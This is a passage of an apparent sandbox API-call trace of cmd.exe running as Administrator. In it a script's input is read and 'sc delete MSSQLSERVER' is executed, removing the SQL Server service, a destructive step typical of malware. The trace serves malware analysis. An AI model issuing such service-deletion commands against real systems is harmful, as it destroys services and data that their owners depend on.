lpWideCharStr="SQLFDLauncher\nce\n") returned 1 [0064.236] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.236] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.236] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="QLFDLauncher\nce\n") returned 1 [0064.236] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.236] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.236] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="LFDLauncher\nce\n") returned 1 [0064.236] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.236] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.236] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="SDLauncher\nce\n") returned 1 [0064.236] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.236] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.236] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="ELauncher\nce\n") returned 1 [0064.236] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.236] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.237] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="Rauncher\nce\n") returned 1 [0064.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.237] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.237] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="Vuncher\nce\n") returned 1 [0064.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.237] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.237] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="Encher\nce\n") returned 1 [0064.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.237] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.237] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="Rcher\nce\n") returned 1 [0064.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.237] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.237] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.237] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="\nher\nce\n") returned 1 [0064.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.237] GetFileType (hFile=0xb8) returned 0x3 [0064.237] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.237] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.237] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.237] GetFileType (hFile=0x120) returned 0x3 [0064.237] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLSERVER\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLSERVER\n", lpUsedDefaultChar=0x0) returned 23 [0064.237] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x16, lpOverlapped=0x0) returned 1 [0064.238] GetProcessHeap () returned 0x1b0000 [0064.238] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d4630 [0064.238] GetProcessHeap () returned 0x1b0000 [0064.238] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4630 | out: hHeap=0x1b0000) returned 1 [0064.238] GetProcessHeap () returned 0x1b0000 [0064.238] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0064.238] GetProcessHeap () returned 0x1b0000 [0064.238] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0064.238] GetProcessHeap () returned 0x1b0000 [0064.238] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6510 [0064.239] GetConsoleOutputCP () returned 0x1b5 [0064.240] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.240] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.240] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.240] GetProcessHeap () returned 0x1b0000 [0064.240] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0064.240] GetProcessHeap () returned 0x1b0000 [0064.240] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1caa40 [0064.240] GetProcessHeap () returned 0x1b0000 [0064.240] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0064.240] SetErrorMode (uMode=0x0) returned 0x1 [0064.240] SetErrorMode (uMode=0x1) returned 0x0 [0064.240] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0064.240] SetErrorMode (uMode=0x1) returned 0x1 [0064.241] GetProcessHeap () returned 0x1b0000 [0064.241] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0064.241] GetProcessHeap () returned 0x1b0000 [0064.241] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0064.241] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0064.241] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0064.241] GetProcessHeap () returned 0x1b0000 [0064.241] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0064.241] GetProcessHeap () returned 0x1b0000 [0064.241] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0064.241] GetProcessHeap () returned 0x1b0000 [0064.241] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0064.241] GetProcessHeap () returned 0x1b0000 [0064.241] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0064.241] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0064.241] GetProcessHeap () returned 0x1b0000 [0064.241] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0064.241] GetProcessHeap () returned 0x1b0000 [0064.241] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0064.241] GetProcessHeap () returned 0x1b0000 [0064.241] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0064.241] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.241] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.241] GetLastError () returned 0x2 [0064.242] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.242] GetLastError () returned 0x2 [0064.242] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.242] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.242] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.242] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.242] GetLastError () returned 0x2 [0064.242] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.242] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.242] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0064.242] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0064.242] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.243] GetProcessHeap () returned 0x1b0000 [0064.243] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0064.243] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.243] GetProcessHeap () returned 0x1b0000 [0064.243] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa4) returned 0x1c9180 [0064.243] GetProcessHeap () returned 0x1b0000 [0064.243] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa4 [0064.243] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLSERVER") returned 1 [0064.243] GetProcessHeap () returned 0x1b0000 [0064.243] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0064.243] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0064.243] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0064.243] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0064.243] GetProcessHeap () returned 0x1b0000 [0064.243] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0064.243] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0064.244] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.245] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.245] GetProcessHeap () returned 0x1b0000 [0064.245] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0064.245] GetProcessHeap () returned 0x1b0000 [0064.245] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0064.245] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLSERVER", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLSERVER", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete MSSQLSERVER", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x8e8, dwThreadId=0x8f8)) returned 1 [0064.248] CloseHandle (hObject=0x54) returned 1 [0064.248] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.248] GetProcessHeap () returned 0x1b0000 [0064.248] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0064.248] GetEnvironmentStringsW () returned 0x1d1b10* [0064.248] GetProcessHeap () returned 0x1b0000 [0064.248] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0064.248] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.248] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0064.248] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0064.249] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0064.369] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0064.369] CloseHandle (hObject=0x50) returned 1 [0064.369] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0064.369] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0064.369] GetProcessHeap () returned 0x1b0000 [0064.369] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.369] GetEnvironmentStringsW () returned 0x1d1b10* [0064.369] GetProcessHeap () returned 0x1b0000 [0064.369] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0064.369] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.369] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0064.369] GetProcessHeap () returned 0x1b0000 [0064.369] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.369] GetEnvironmentStringsW () returned 0x1d1b10* [0064.369] GetProcessHeap () returned 0x1b0000 [0064.369] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0064.369] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.369] GetProcessHeap () returned 0x1b0000 [0064.369] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0064.370] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0064.370] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0064.370] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.370] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0064.370] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.370] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0064.370] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.370] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0064.370] GetConsoleOutputCP () returned 0x1b5 [0064.371] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.371] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.371] GetProcessHeap () returned 0x1b0000 [0064.371] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0064.371] GetProcessHeap () returned 0x1b0000 [0064.371] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0064.371] GetProcessHeap () returned 0x1b0000 [0064.371] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0064.371] GetProcessHeap () returned 0x1b0000 [0064.371] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0064.371] GetProcessHeap () returned 0x1b0000 [0064.371] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0064.371] GetProcessHeap () returned 0x1b0000 [0064.371] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0064.371] GetProcessHeap () returned 0x1b0000 [0064.371] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0064.371] GetProcessHeap () returned 0x1b0000 [0064.371] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0064.371] GetProcessHeap () returned 0x1b0000 [0064.371] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0064.371] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0064.371] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.371] GetFileType (hFile=0x120) returned 0x3 [0064.371] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0064.371] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0064.372] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0064.372] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0064.372] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0064.372] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: 